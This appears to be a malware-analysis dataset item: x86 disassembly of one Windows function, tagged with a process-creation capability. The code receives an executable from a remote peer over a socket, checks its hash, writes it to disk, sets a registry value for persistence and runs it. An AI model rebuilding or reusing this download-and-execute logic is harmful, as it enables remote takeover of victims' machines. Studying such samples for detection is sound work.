Function at 0x41cf7d
Capabilities:
Create process on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x56c
lea eax, [esp + 0x18]
mov ebx, dword [esp + 0x580]
mov esi, dword [esp + 0x584]
push eax
call fcn.0041c95a
push dword [esp + 0x1c]
call fcn.0041c974
mov dword [esp + 0x14], eax
pop edx
test eax, eax
pop ecx
jne 0x41cff0
push 0
or ebp, 0xffffffff
mov edi, ebx
cld
mov ecx, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebx
push dword [esp + 0x24]
call sub.WS2_32.dll_send
mov ecx, eax
test esi, esi
setne dl
xor eax, eax
test ecx, ecx
setg al
test eax, edx
je 0x41cfe7
cmp ecx, 0x270f
jg 0x41cfe7
push dword [esp + 0x18]
call fcn.0041cbfa
mov ebx, eax
test ebx, ebx
pop eax
je 0x41cda2
push 4
call sub.msvcrt.dll_malloc
mov dword [eax], ebx
push 0
push 0
push eax
push 0x41d560
push 0
push 0
call sub.KERNEL32.dll_CreateThread
pop eax
cmp esi, 2
jne 0x41cfe7
mov eax, dword [0x4453c8]
test byte [eax + 0x64], 8
je 0x41cfe7
mov dword [esp + 4], 0
mov eax, dword [esp + 0x18]
lea ebx, [esp + 0x2c]
mov dword [esp + 8], eax
push 0x2e
push str.yelkxovgCIXEYELvCDNE_Yvi_XXODOXYCEDvx_D
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
lea ebx, [esp + 0x60]
call fcn.0041b676
mov dword [esp], 0x400
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push ebx
call 0x435070
pop edi
cld
mov edi, eax
mov ecx, ebp
mov dword [esp], eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0x3f
push ecx
call sub.msvcrt.dll_malloc
mov dword [esp], 0
mov edi, eax
call sub.msvcrt.dll_time
mov dword [esp], eax
push dword [esp + 4]
push str._smsn__lu.exe
push edi
call sub.msvcrt.dll_sprintf
add esp, 0x10
push 0x43ecdc
push edi
call sub.msvcrt.dll_fopen
pop ebx
test eax, eax
mov ebp, eax
pop esi
je 0x41cfd7
push 0
push 4
push str.MAJ_n
push dword [esp + 0x14]
call sub.WS2_32.dll_send
cmp eax, 4
jne 0x41cfd7
push 0
push 0x10
lea eax, [esp + 0x564]
push eax
push dword [esp + 0x14]
call sub.WS2_32.dll_recv
cmp eax, 0x10
jne 0x41cfd7
push 0
push 4
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
call sub.WS2_32.dll_recv
cmp eax, 4
jne 0x41cfd7
movzx eax, byte [esp + 0x14]
movzx edx, byte [esp + 0x15]
shl eax, 8
add eax, edx
movzx edx, byte [esp + 0x16]
shl eax, 8
add eax, edx
movzx edx, byte [esp + 0x17]
shl eax, 8
lea esi, [eax + edx]
cmp dword [esp + 0xc], esi
jae 0x41cf17
push 0
push 0x100
lea eax, [esp + 0x464]
push eax
push dword [esp + 0x14]
call sub.WS2_32.dll_recv
test eax, eax
mov ebx, eax
jle 0x41cf0a
cmp eax, 0x100
jg 0x41cf0a
push ebp
push eax
push 1
lea eax, [esp + 0x468]
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
add dword [esp + 4], eax
inc ebx
je 0x41cfde
cmp dword [esp + 4], esi
jmp 0x41cecb
push ebp
call sub.msvcrt.dll_fclose
pop ecx
push dword [esp + 8]
call sub.WS2_32.dll_closesocket
cmp esi, dword [esp + 4]
jne 0x41cf55
lea ebx, [esp + 0x1c]
push ebx
push edi
call fcn.0040ef6f
pop eax
pop edx
lea eax, [esp + 0x55c]
push 0x10
push eax
push ebx
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x41cfd7
push edi
push str.apo5
lea ebx, [esp + 0x34]
push ebx
push 0x80000002
call fcn.0041f207
add esp, 0x10
test eax, eax
jne 0x41cfa2
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push 0
push 0x80000003
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x41cf97
push dword [esp + 0x10]
call fcn.0041caf1
pop eax
push dword [esp + 0x10]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x41cfb6
push edi
push str.apo5
push ebx
push 0x80000001
call fcn.0041f207
add esp, 0x10
push 0
push dword [esp + 4]
push 0
push edi
push str.open
push 0
call sub.SHELL32.DLL_ShellExecuteA
cmp eax, 0x20
jle 0x41cfd7
push 0
call sub.msvcrt.dll_exit
push edi
call fcn.0043aa78
pop ebp
mov eax, dword [0x4453c8]
and byte [eax + 0x64], 0xf7
push dword [esp + 0x18]
call sub.WS2_32.dll_closesocket
add esp, 0x56c
pop ebx
pop esi
pop edi
pop ebp
ret